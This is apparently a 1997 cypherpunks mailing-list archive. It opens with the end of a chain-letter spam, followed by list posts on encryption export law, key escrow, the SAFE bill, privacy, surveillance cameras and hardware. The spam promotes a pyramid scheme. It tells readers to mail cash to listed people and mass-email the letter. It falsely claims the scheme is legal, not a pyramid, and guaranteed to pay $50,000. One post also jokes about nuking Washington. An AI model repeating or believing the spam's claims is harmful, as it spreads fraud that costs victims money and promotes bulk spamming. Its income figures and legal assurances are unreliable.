also assume that the mailing receives a .5% response. Using a good list,
the response could be much better. Also many people will send out
hundreds of thousands of programs instead of 2,000, but continuing with
this example, you send out only 2,000 programs. With a .5% response,
that is only 10 orders for REPORT #1. Those 10 people respond by sending
out 2,000 programs each for a total of 20,000. Out of those, .5% 100
people respond and order REPORT #2. Those 100 mail out 2,000 programs
each for a total of 200,000. The .5% response to that is 1,000 orders
for REPORT #3. Those 1,000 send out 2,000 programs each for a 2,000,000
total. The .5% response to that is 10,000 orders for REPORT #4. That's
10,000 five dollar bills for you. CASH!!!!! Your total income in this
example is $50 + $500 + $5,000 + $50,000 for a total of $55,550!

REMEMBER, FRIEND, THIS IS ASSUMING 1,990 OUT OF 2,000 PEOPLE YOU MAIL TO
WILL DO ABSOLUTELY NOTHING! DARE TO THINK FOR A MOMENT WHAT WOULD HAPPEN
IF EVERYONE OR HALF SENT OUT 100,000 PROGRAMS INSTEAD OF ONLY 2,000!
Believe me, many people will do that and more! By the way, your cost to
participate in this is practically nothing. You obviously already have
an Internet connection and e-mail is free!! REPORT #3 will show
you the best methods for bulk e-mailing and purchasing e-mail lists.

THIS IS A LEGITIMATE, LEGAL, MONEY MAKING OPPORTUNITY. It does not
require you to come in contact with people, do any hard work, and best
of all, you never have to leave the house except to get the mail. If you
believe that someday you'll get that big break that you have been
waiting for, THIS IS IT! Simply follow the instructions, and your dream
will come true. This multi-level e-mail order marketing program works
perfectly...100% EVERY TIME. E-mail is the sales tool of the future. The
longer you wait,the more people will be doing business using e-mail. Get
a piece of the action.

MULTI-LEVEL MARKETING (MLM) has finally gained respectability. It is
being taught in the Harvard Business School, and both Stanford Research
and The Wall Street Journal have stated that between 50% and 65% of all
goods and services will be sold through multi-level methods by the late
1990's. This is a Multi-Billion dollar industry and of the 500,000
millionaires in the US, 20% (100,000) made their fortune in the last
several years in MLM. Moreover, statistics show 45 people become
millionaires every day through Multi-Level Marketing.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

INSTRUCTIONS:

Step (1)  Order all 4 REPORTS listed by NAME AND NUMBER. Do this
          by ordering the REPORT from each of the 4 names listed on
          the next page. For each REPORT, send $5 CASH and a SELF
          ADDRESSED, STAMPED envelope (Business size #10) to the
          person listed for the SPECIFIC REPORT. International
          orders should also include $1 extra for postage. It is
          essential that you specify the NAME and NUMBER of the
          report requested to the person you are ordering from. You
          will need ALL FOUR REPORTS because you will be REPRINTING
          and RESELLING them. DO NOT alter the names or sequence
          other than what the instructions say. IMPORTANT: Always
          provide same-day service on all orders!

Step (2)  Replace the name and address under REPORT #1 (below) with yours,
          moving the one that was there down to REPORT #2. Drop the
          name and address under REPORT #2 to REPORT #3, moving the
          one that was there to REPORT #4. The name and address that
          was under REPORT #4 is dropped from the list and this
          party is no doubt on the way to the bank. When doing this,
          make certain you type the names and addresses ACCURATELY!
          DO NOT MIX UP MOVING PRODUCT/REPORT POSITIONS! The best way to 
          gurantee accuracy is to use your word processor's "cut & paste"
          functions.

Step (3)  Having made the required changes in the name list, save it
          as a (.txt) file in it's own directory to be used with
          whatever e-mail program you like. Again, REPORT #3 will
          tell you the best methods of bulk e-mailing and acquiring
          e-mail lists.

Step (4)  E-Mail a copy of this entire program (all of this is very
          important)to everyone whose address you can get your
          hands on. Start with friends and relatives since you
          can encourage them to take advantage of this fabulous
          money-making opportunity. That's what I did. And they
          love me now, more than ever. Then,e-mail to anyone and
          everyone! Use your imagination! You can get e-mail
          addresses from companies on the Internet who specialize in
          e-mail mailing lists. These are very cheap,100,000
          addresses for around $35.

IMPORTANT: You won't get a good response if you use and old list, so
always request a FRESH,NEW list. You will find out where to purchase
these lists when you order the 4 REPORTS.

ALWAYS PROVIDE SAME DAY SERVICE ON ALL ORDERS!!!

REQUIRED REPORTS:

***Order each REPORT by NUMBER and NAME***

REPORT #1
"How to Make $250,000 Through Multi-Level Sales"

--order Report #1 from:

     Jeff Meyer
     11219 Muriel Ave. Box 450
     Baton Rouge, LA 70816
     U.S.A.


REPORT #2
"Major Corporations and Multi-Level Sales"

--order Report #2 from:

     Marji Zintz
     314 Route 94 South, #48
     Warwick, NY  10990
     U.S.A.


REPORT #3
"Sources For the Best Mailing Lists"

--order Report #3 from:

     M. P. Kiely
     30 Gladys Dr.
     Spring Valley, N.Y. 10977-6025
     U.S.A.


REPORT #4
"Evaluating Multi-Level Sales Plans"

--order Report #4 from:

     J. S. Todd
     P.O. Box 219
     Courtright, ON  N0N 1H0
     Canada
     

CONCLUSION:

I am enjoying my fortune that I made by sending out this program.
You too, will be making money in 20 to 90 days, if you follow
the SIMPLE STEPS outlined in this mailing.

Please reread this material, this is a special opportunity.
If you have any questions, please feel free to contact us at
the FROM address at the beginning of this letter. You will get
a prompt and informative reply.

My method is simple, I will sell thousands of people a product
for $5 that costs me pennies to produce and e-mail. I should also
point out that this program is legal and everyone who participates
WILL make money. This is not a chain letter or pyramid scam.
At times you have probably received chain letters asking you to send
away money, on faith but getting NOTHING in return, NO product
what-so-ever! Not only are chain letters illegal, but the risk of
someone breaking the chain makes them quite unattractive.

You are offering a legitimate product to your people. After they
purchase the product from you, they reproduce more and resell them.
It's simple free enterprise. As you learned from the enclosed
material, the PRODUCT is a series of four 4 FINANCIAL AND BUSINESS
REPORTS. The information contained in these REPORTS will not only
help you in making your participation in this program more rewarding,
but will be useful to you in any other business decisions you make
in the years ahead. You are also buying the rights to reprint all
of the REPORTS, which will be ordered from you by those to whom you
mail this program. The concise 1 and 2 page REPORTS you will be
buying can easily be reproduced at a local copy center for a cost
of about 3 to 5 cents a copy. Best wishes with the program and
good luck!

"IT WAS TRULY AMAZING"

"Not being the gambling type, it took me several weeks to make up my
mind to participate in this program. But conservative as I am, I
decided that the initial investment was so little that there was
no way I could not get enough orders to at least get my money
back. BOY, was I ever surprised when I found my medium sized post
office box crammed with orders! I will make more money this year
than any ten years of my life before."

                             Mary Riceland, Lansing, MI

{{{{{{{TIPS FOR SUCCESS:}}}}}}}

Send for your BUSINESS REPORTS immediately so you will have them when the
orders start coming in. When you receive a $5 order, you MUST
send out the product/service to comply with US Postal and
Lottery laws. Title 18 Sections 1302 and 1341 specifically state
that: "A PRODUCT OR SERVICE MUST BE EXCHANGED FOR MONEY RECEIVED."

WHILE YOU WAIT FOR THE REPORTS TO ARRIVE

1.   Name your new company. You can use your own name if you desire.

2.   Get a post office box. (preferred)

3.   Edit the names and addresses on the program. You must remember,
     your name and address go next to REPORT #1 and the others all
     move down one, with the fourth one being bumped OFF the list.

4.   Obtain as many e-mail addresses as possible to send until you
     receive the information on mailing list companies in REPORT #3.

5.   Decide on the number of programs you intend to send out. The
     more you send, and the quicker you send them, the more money
     you will make!

6.   After mailing the programs, get ready to fill orders.

7.   Copy the 4 REPORTS so you are able to send them out as soon as
     you receive an order. IMPORTANT: ALWAYS PROVIDE SAME DAY
     SERVICE ON ORDERS YOU RECEIVE!

8.   Make certain the letter and reports are neat and legible.

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

YOUR GUARANTEE:

The check point which GUARANTEES your success is simply this:
"You must receive 15 to 20 orders for REPORT #1. This is a must!!
If you don't within 2 weeks, e-mail out more programs until you do.
Then a couple of weeks later you should receive at least 100 orders
for REPORT #2, if you don't, send out more programs. Once you have
received 100 or more orders for REPORT #2 -- take a deep breath --
you can sit back and relax, because YOU ARE GOING TO MAKE AT LEAST
$50,000!" Mathematically it is a proven guarantee. Of those who
have participated in the program and reached above GUARANTEES,
all have reached their $50,000 goal. Also remember, every time
your name is moved down the list you are in front of a different
REPORT, so you can keep track of your program by knowing what
people are ordering from you. ITS THAT EASY, REALLY, IT IS!!

^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^\/^

REMEMBER:

"HE WHO DARES NOTHING, NEED NOT HOPE FOR ANYTHING."

"INVEST A LITTLE TIME, ENERGY, AND MONEY NOW OR
SEARCH FOR IT THE REST OF YOUR LIFE"

Thank you for your time.








From amp at pobox.com  Wed Jul 23 09:41:45 1997
From: amp at pobox.com (amp at pobox.com)
Date: Thu, 24 Jul 1997 00:41:45 +0800
Subject: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: 



Excellent quote contained in the link below...
"We don't give a damn about export policy," FBI
Assistant director James Callstrom said. "We 
care about protecting people domestically, and 
we can't do that without wiretapping capabilities."

Translation: 
"We know we can't stop crypto overseas, we don't 
believe the american people have =any= right to privacy."

amp
------------------------
  From: Dave K-P 
  Subject: Cops, Spies Fail to Slow Crypto Bill 
  Date: Tue, 22 Jul 1997 23:17:25 -0400 
  To: cypherpunks at toad.com


> Security and Freedom through Encryption Act passed at a mark-up
> meeting of the House International Relations Committee.
> 
> 	http://www.wired.com/news/news/politics/story/5399.html
> 

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp at pobox.com
Date: 07/23/97
Time: 11:17:28
Visit me at http://www.pobox.com/~amp

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------






From frantz at netcom.com  Wed Jul 23 09:45:01 1997
From: frantz at netcom.com (Bill Frantz)
Date: Thu, 24 Jul 1997 00:45:01 +0800
Subject: Privacy: Law, Custom, and Technology
In-Reply-To: 
Message-ID: 



At 12:53 AM -0700 7/23/97, Tim May wrote:
>(I am not trying to be rude to Bill, just making the point forcefully that
>I don't particularly care that these four choices are acceptable to "some
>people.")

It is this kind of attitude I wish to encourage thru custom, certainly not law.

>
>I of course remember _lots_ of things about people, I share those memories
>on occasion (without requesting permission), I mention names, and I
>certainly don't recall every giving one of the subjects of my memories a
>cut of the action.
>
>In a free society, it is not possible or acceptable to control what others
>remember or gossip about. Or even sell commercially.
>
>"Custom" only applies to those who adopt the custom--the "law" is for
>everyone else. The question is: do we have a law demanding that people not
>remember certain things, or not gossip about what they've observed? I think
>even a totalitarian society will have well-known problems enforcing such
>laws.

When I was in Malasia, I saw signs in many stores which said in effect, In
accordance with Islamic law, we offer fair prices.  My experience with
prices in stores with these signs is that they were lower than in some of
the other stores.

A similar approach could evolve for network sites.  A sign saying that we
follow the US Chamber of Commerce's code on fair information practices
could easily evolve.  My questions are, what should that code contain?
And, how many different codes do we need?


-------------------------------------------------------------------------
Bill Frantz       | The Internet was designed  | Periwinkle -- Consulting
(408)356-8506     | to protect the free world  | 16345 Englewood Ave.
frantz at netcom.com | from hostile governments.  | Los Gatos, CA 95032, USA







From tcmay at got.net  Wed Jul 23 10:04:03 1997
From: tcmay at got.net (Tim May)
Date: Thu, 24 Jul 1997 01:04:03 +0800
Subject: IRS sending warning notes, violating ECPA?
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: 



At 9:16 AM -0700 7/23/97, Ryan Lackey wrote:
>(I think Tim is doing a lot more for the cypherpunks cause by not being
>in jail than he would being locked up in jail pending trial for 5 months..
>but that's not really an issue anyway -- one's life is one's own, do as thou
>wilt and all)

Thanks.

I gather from the quoted comments in Ray A.'s and William G.'s messages
that Kent Crispin is arguing that I'm one of the sheeple because I have not
blown up any buildings or committed other felonies. (Actually, how does he
know I haven't? Perhaps my public personna is not the full story... Hmmhhh.)

(And Crispin was not around, on this list or anywhere in cyberspace I ever
noticed, a few years ago when I anonymously launched Blacknet, a
clearinghouse for military and other secrets. Consult the archives,
including the investigations launched by several agencies in D.C. I did it
as a technology demonstration, though I did get some weird offers of
information about how the CIA was targetting African diplomats for
compromise in Georgetown.)

Crispin also has a very poor understanding of what CPs have done,
apparently thinking the postings on this list in the short time he's been
here represent the sum total output.


>Something which I think would be more interesting would be if someone set up
>a fairly aggressive legal fund and technical assay organization to use
>the civil courts to try to challenge silly crypto laws, using some of the
>proceeds from evaluating and certifying vendor security products.  Something
>like a "contribute $1 by electronic cash system of your choice" to a variety
>of "charities" (things where you gain some tangible benefit by their success,
>like the repeal of crypto export legislation, etc.) -- perhaps some kind of
>silly web server which collected deposits, automatically did the paperwork
>for tax purposes, forwarded money to the organizations, etc., either
>anonymously or not.

Well, organizations like the EFF are active in exactly this way, handling
the Bernstein case, and with (I think) other involvements in other cases
(Karns, Junger?).  And of course the recent CDA victory is such an effort.

The courts are our best hope in striking down repressive legislation.
Congress is not a viable hope...they exist solely to generate more laws.

The only thing keeping the U.S. from falling headlong into a
cradle-to-grave total state is the Constitution. Not suprising, but let me
make a few points to show more precisely what I mean:

* Even with the First, which is clearly stated, there are constant attempts
to control and regulate speech. Imagine the explosion of legislation we'd
have without a clearcut First?

(Though the phrase has become puerilely hackneyed, I still like to use it:
"Just which part of "Congress shall make no law" do you not understand?")

* The Supremes recentlly struck down provisions of the Brady Bill, and
Clarence Thomas, in his written opinion, indicated that it may be time for
the Court to take a case involving the various attempts to short circuit
the Second. (We may see in the next several years a striking down of many
of the recent gun control laws.)

* The Court threw out the CDA and essentially made the same hackneyed point
I made above. The Court did what no amount of Congressional porkbarrelling
could ever do.

* Domestic restrictions on crypto are coming. Only the Court can strike
down these laws. Violations of the First (speech), Fourth (secure in one's
papers, search warrants needed), Fifth (self-incrimination), and other
provisions would seem likely points of attack.

Maybe I need to revise my views about nuking D.C.

Is there any way to have a shaped nuclear charge which would take out
Congress and the White House but leave the Supreme Court standing?

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From tcmay at got.net  Wed Jul 23 10:06:12 1997
From: tcmay at got.net (Tim May)
Date: Thu, 24 Jul 1997 01:06:12 +0800
Subject: Fw: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: 



At 9:17 AM -0700 7/23/97, amp at pobox.com wrote:
>Excellent quote contained in the link below...
>"We don't give a damn about export policy," FBI
>Assistant director James Callstrom said. "We
>care about protecting people domestically, and
>we can't do that without wiretapping capabilities."
>
>Translation:
>"We know we can't stop crypto overseas, we don't
>believe the american people have =any= right to privacy."

This of course has been obvious for the past 4 to 5 years of the
Clipper/GAK debate.

Even when they are pushing for export controls, they really want "Key
Recovery" mandated. And they talk about catching terrorists and child
pornographers...catching them _in the U.S._, that is.

How export controls help catch domestic criminals, Mafia dons, etc. is
unclear to all of us.

And when people repeatedly point out that common criminals, terrorists, and
the like are unlikely in the extreme to escrow their keys with the
government...the government shills and officials are silent.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From straightedge.dave at sk.sympatico.ca  Wed Jul 23 11:19:28 1997
From: straightedge.dave at sk.sympatico.ca (David Yaffe)
Date: Thu, 24 Jul 1997 02:19:28 +0800
Subject: os9?? for security??
In-Reply-To: <199707231616.MAA19478@the-great-machine.mit.edu>
Message-ID: <3.0.2.32.19970723120330.007ae860@mailhost.sk.sympatico.ca>



-----BEGIN PGP SIGNED MESSAGE-----

I'm new here but:
>I think I'll go back to setting up my little os9 network and toying with
>novel security concepts (twas a good suggestion, whoever mentioned it here.
>i'd always ignored os9...it turns out it's quite a fun toy, and a useful
>building block).

Is this the child of Microware's OS9 that I used ten years ago?

Thanks
David Yaffe

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Version: 2.6.2

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E0rqr9964Vge2+yeqLVC3R7y7sXj2oMWUyAf0tyoj+7ajn8Lj1ZnXHu/BcXPZNOD
uF2n/PLYugLdW8oprogOGvPtv/ZtTIYTCzSt7X33u6+v+OvErrFvZh8Mvn02m7FU
fZaiiulGTRE=
=xSrF
-----END PGP SIGNATURE-----







From nobody at replay.com  Wed Jul 23 11:38:21 1997
From: nobody at replay.com (Name Withheld by Request)
Date: Thu, 24 Jul 1997 02:38:21 +0800
Subject: Brit Fascists To Track Motorists
Message-ID: <199707231815.UAA09529@basement.replay.com>




  Well, I see on the news that the British Government are installing cameras
with OCR capabilities throughout London so that they can track all the
cars which pass by. Of course this is only to track 'terrorists and car
thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,
so that's all right. And don't worry about all those reports that the British
Police Force is full of corrupt officers who the superiors can't fire.
  I wonder why no-one in the media has pointed out that terrorists and car
thieves, being, after all, criminals, will have no qualms about strapping
on false plates. Oh, but I guess it will catch 'stupid' terrorists and
criminals, so that's all right after all.

  Odd that this was announced the same day as other annoucements of the 
British Government joining an EU-wide system to track millions of European
subversives (including, apparently, those who have been to rock concerts?). I 
bet it's just one of them coincidences...

SpyMonger






From enoch at zipcon.net  Wed Jul 23 12:01:01 1997
From: enoch at zipcon.net (Mike Duvos)
Date: Thu, 24 Jul 1997 03:01:01 +0800
Subject: Free Money
Message-ID: <19970723184547.28534.qmail@zipcon.net>



In response to outside pressure, Swiss bankers have abandoned their
traditional secrecy laws and published a list of all bank accounts opened
by non-Swiss citizens prior to May 9th, 1945, the end of World War II.

This list and instructions for claiming your share of the millions
of dollars offered may be found at...

           http://www.dormantaccounts.ch/

Happy browsing.    

--
     Mike Duvos         $    PGP 2.6 Public Key available     $
     enoch at zipcon.com   $    via Finger                       $
         {Free Cypherpunk Political Prisoner Jim Bell}






From tcmay at got.net  Wed Jul 23 12:28:42 1997
From: tcmay at got.net (Tim May)
Date: Thu, 24 Jul 1997 03:28:42 +0800
Subject: Free Money
In-Reply-To: <19970723184547.28534.qmail@zipcon.net>
Message-ID: 



At 11:45 AM -0700 7/23/97, Mike Duvos wrote:
>In response to outside pressure, Swiss bankers have abandoned their
>traditional secrecy laws and published a list of all bank accounts opened
>by non-Swiss citizens prior to May 9th, 1945, the end of World War II.
>
>This list and instructions for claiming your share of the millions
>of dollars offered may be found at...
>
>           http://www.dormantaccounts.ch/
>

This again shows the importance of _technological_ solutions to privacy and
secrecy concerns over _custom_ or _law_ solutions.

And we can expect this example of Nazi accounts for gold stolen from Jews
and others to be used in the propaganda campaign against untraceable money
and secure banking. "Digital cash would make restitution impossible for the
Jews!" Of course, had the Jews had secure, untraceable assets in the 1930s,
instead of lots of gold coins and jewelry to store their wealth, Hitler
would have had a lot harder time seizing the assets. Details, details.

(Not to mention the seizure of American gold by Reichsfuhrer Roosevelt in
1933.)

Fact is, governments around the world want control of the assets of their
subjects, for taxation, for seizure, and for general control. Anything that
allows citizen units to have assets unreachable by the thugs in power is a
danger to them.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay at got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From stewarts at ix.netcom.com  Wed Jul 23 12:39:29 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 03:39:29 +0800
Subject: House crypto-vote echoes classified briefing (plus: COWS!)
In-Reply-To: 
Message-ID: <3.0.2.32.19970723121233.0076efc0@popd.ix.netcom.com>



At 03:55 AM 7/23/97 -0400, Declan McCullagh wrote:
>Then there were the cows. Again, I'm not making this up.

Where there's bull, there's cows...

>the president has said he'll veto any pro-crypto bill that
>comes across his desk...
Yet more evidence that, while Clinton doesn't have the
fiscal responsibility of some conservatives, he's certainly
no liberal.

On the other hand, Secretary Cohen gives a marvelous explanation
of why all government employees should use GAK on their own communications,
or at least any who handle material relevant to National Security. [*See
below]
No point in bothering the rest of us when the spies work for him...

>Excerpt from Secretary of Defense William Cohen's letter to
>Congress, dated July 21, 1997:
>        It is also important to note that the Department of Defense
>        relies on the Federal Bureau of Investigation for the
>        apprehension and prosecution of spies. Sadly, there have
>        been over 60 espionage convictions of federal employees
>        over the last decade. While these individuals represent
>        a tiny minority of government employees, the impact of
>        espionage activities on our nation's security can be
>        enormous. As the recent arrests of Nicholson, Pitts, and
>        Kim clearly indicate, espionage remains a very serious
>        problem. Any policies that detract from the FBI's ability
>        to perform its vital counterintelligence function,
>        including the ability to perform wiretaps, inevitably
>        detract from the security of the Department of Defense
>        and the nation...

[*Below]
>Gilman's amendment offered today:
>	   [....]	National security
>        shall include, but not be limited to, the ability of law
>        enforcement agencies, including Federal, State, and local
>        agencies, to combat espionage, terrorism, illicit drugs,
>        kidnapping, or other criminal acts, or otherwise would
>        involve the potential for loss of human life.

And fortunately defeated, though an appalling number of Committeecritters
voted _for_ it.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Wed Jul 23 12:42:04 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 03:42:04 +0800
Subject: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: <3.0.2.32.19970723120119.0315ea74@popd.ix.netcom.com>



At 11:17 PM 7/22/97 -0400, Dave K-P wrote:
>Security and Freedom through Encryption Act passed at a mark-up
>meeting of the House International Relations Committee.
>
>	http://www.wired.com/news/news/politics/story/5399.html

Unless the bill has substantially changed, the Feds are giving up
some control over encryption exports, which they'd substantially
lost in the market anyway, and some ability to mandate GAK,
which they haven't been able to sell very well in their last 4 tries,
in return for criminalizing domestic use of crypto by people who want
to preserve their privacy while committing potentially incorrect acts.

Sounds like they're maintaining the image that _they're_ the ones
compromising, the poor guys, when in reality they're gaining power.

Not only does "Use crypto, go to jail" penalize spies with secret decoder
rings (arguably a National Security issue), and child pornographers
sending their encrypted wares to each other (arguably a police issue),
it penalizes anyone who uses a digital cellphone to call their bookie
or ask their under-21 roommate if they should pick up beer on the way home
or ask somebody for a date if they're not the politically approved gender,
or who uses IPv6 IPSEC to carry their email to their ISP on anything illegal,
whether it's something that rates 5 years in jail or a $25 fine. 
If the CDA hadn't been tossed out on its  you could
have gotten the extra 5 years for saying  on an
encrypted mailing list if it was possible there wasa kid listening -
or for using an encrypted file system on the PC where you store your Out Box
even if you're sending to unencrypted mailing lists.

One version of the bill _did_ get changed to only penalize crypto
used with Federal felony crimes, which reduces the damage substantially
(though Tim _keeps_ being a felon under an increasing number of rules);
does anybody know if this provision survived?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From stewarts at ix.netcom.com  Wed Jul 23 12:47:27 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 03:47:27 +0800
Subject: House Tries to Liberate ICs
In-Reply-To: <3.0.2.32.19970721142051.006c6e60@panix.com>
Message-ID: <3.0.2.32.19970723100054.03156fec@popd.ix.netcom.com>



-----BEGIN PGP SIGNED MESSAGE-----

A much more serious omission is that "longstanding" dates from about
10 years ago, when NJ Senator Frank Lautenberg, who made his money 
running ADP, a computer consulting company that rents out its employees
to businesses, got the law changed to force his competition to 
use employees rather than independent contractors, which was common.
A number of my friends who were independent contractors had to go
find consulting firms to be employed by, or go start their own shell firms
and spend a lot of money on extra paperwork and business taxes.
Many of those consulting firms, however, give their employees a lot of
latitude on salary vs. benefits, though taxes aren't optional :-)


At 02:20 PM 7/21/97 -0400, Duncan Frissell wrote:
>Notice how the following article does not mention the fact that ICs 
sometimes 
>neglect to send those quarterly tax payments in on time and this is why the 
>Feds dislike them.  It's not going to happen, but it would be fun if it 
>did...
>
>July 20, 1997
>Item in Tax Bill Poses a Threat to Job Benefits
>By STEVEN GREENHOUSE
>
>In Congress and in thousands of workplaces, the nation's business community 
>is seeking to change longstanding rules and practices to turn many people 
>classified as employees into independent contractors -- a move that could 
>cause many Americans to lose health insurance and pension and unemployment 
>insurance benefits.

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Version: PGP for Personal Privacy 5.0
Charset: noconv

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AqGXjb4VHoSu96HrvtVjgdeYrx8ozv6MECPdXhI1PpZmK8HVR+vRMg==
=EJwm
-----END PGP SIGNATURE-----


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From declan at well.com  Wed Jul 23 13:53:16 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Jul 1997 04:53:16 +0800
Subject: Cops, Spies Fail to Slow Crypto Bill
In-Reply-To: <33D577C5.7327@iname.com>
Message-ID: 



At 12:01 -0700 7/23/97, Bill Stewart wrote:
>One version of the bill _did_ get changed to only penalize crypto
>used with Federal felony crimes, which reduces the damage substantially
>(though Tim _keeps_ being a felon under an increasing number of rules);
>does anybody know if this provision survived?

The current version of SAFE, approved by IR, includes the narrower
"crypto-in-a-crime" provision.

-Declan



-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From stewarts at ix.netcom.com  Wed Jul 23 13:57:49 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 04:57:49 +0800
Subject: geodesic -- FPGAs
In-Reply-To: 
Message-ID: <3.0.2.32.19970723134153.006f0890@popd.ix.netcom.com>



Tim replied:
>Why not replace your entire architecture with reconfigurable hardware?
>Because factors of 2 or 3 or 4 or more are still important to people.
>Witness the clamor to upgrade from 166 MHz Pentia to 200 MHz MMX Pentia,etc.
>Now tell those folks that the FPGA version will cost several times as much
>and have the performance of a 90 MHz 486. Or less.
>All for what? So they can issue a "reconfigure yourself" command and have
>their machine spend a few minutes reprogramming itself into, what, a Mac?

A machine running on a reconfigurable FPGA will need an operating system
that's not from Microsoft, so you get a factor of 4 or more back :-)
But realistically, while FPGAs may be good for running special applications,
you won't use it for random applications on different web pages;
general-purpose processors get better and better at that.
It might make an interesting peripheral, though, as DSPs once did.
LISP machines were nice, but it was much easier to stay on the
price-performance curve by tuning software better for general-purpose
machines than by using elegant software on customized hardware;
a 2:1 or 4:1 speed advantage is gone in 1-3 years, or faster if
somebody improves the compiler, and there are lots more people
improving compilers for mainstream machines than custom machines.

Over the years there have been reconfigurable machines.
VAXes used to have Writeable Control Store microcode;
other than an occasional bux fix or update to the machine,
the only people who used it were either very scary, very foolish,
or had too much time on their hands, or else they were trying to do
things that were way beyond the capabilities of the fine 1 MIPS machine
they needed.  (I used to play with virtual memory tunings,
since it's hard to get a simulation algorithm that really needs
14MB of RAM to work well in a huge 4MB machine, and the normal
virtual memory tunings got thrashed to death.  WCS is worse...)




#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts at ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)






From declan at well.com  Wed Jul 23 14:02:24 1997
From: declan at well.com (Declan McCullagh)
Date: Thu, 24 Jul 1997 05:02:24 +0800
Subject: Fight-each-other
In-Reply-To: <97Jul22.220455edt.32257@brickwall.ceddec.com>
Message-ID: 



At 10:06 -0400 7/23/97, Jeff Barber wrote:

>An implicit threat to use government to regulate the industry.
>
>I could do the same thing with the Progress and Freedom Foundation
>or the National Empowerment TV group you mentioned, but what's the
>point?  These people are not libertarians!  And grouping them into
>something called the "leave-us-alone" coalition is a fraud.

PFF would like to be more libertarian than conservative, though they've
been quieter recently after many of their staff members left. I'm thinking
of going to their Aspen conference next month, but I hear that it's been
going downhill.

I've been on National Empowerment TV a few times, and they're hardcore
conservatives, not libertarians. The Family Research Council's Cathy
Cleaver has her own show on there where she rants about how we need more
government censorship of the Net.

-Declan


-------------------------
Declan McCullagh
Time Inc.
The Netly News Network
Washington Correspondent
http://netlynews.com/







From stewarts at ix.netcom.com  Wed Jul 23 14:15:49 1997
From: stewarts at ix.netcom.com (Bill Stewart)
Date: Thu, 24 Jul 1997 05:15:49 +0800
Subject: Brit Fascists To Track Motorists - DigiCash Obsolescent
In-Reply-To: <199707231815.UAA09529@basement.replay.com>
Message-ID: <3.0.2.32.19970723135900.006ed954@popd.ix.netcom.com>



At 08:15 PM 7/23/97 +0200, Name Withheld by Request wrote:
>  Well, I see on the news that the British Government are installing cameras
>with OCR capabilities throughout London so that they can track all the
>cars which pass by. Of course this is only to track 'terrorists and car
>thieves', not ordinary law-abiding citizens, no, no, no, not at all, guvnor,

I'm surprised the technology is reliable enough now, but if it's not, 
give Moore's Law another couple of years and the computers will get faster,
while the algorithms will also get tuned better, so it will be soon.
It's at least good enough today if you don't mind spending big bucks on
computers that'll be more affordable in a couple of years.

When San Francisco was going to close a major freeway for repairs,
they videotaped traffic, had people type in the license plates from tape,
looked them up in the DMV database, and sent them nice letters asking
them to take a different highway for the next few months.
Took a bit longer, but labor's cheap, and they didn't need instant results;
a computerized system fast enough to track cars on-line opens up 
a lot more possibilities, both for practical applications and abuse.

David Chaum's DigiCash was designed for applications such as tollbooths,
which would permit uncrackable payment while preserving privacy;
the technology's catching up enough to track everybody at a tollbooth
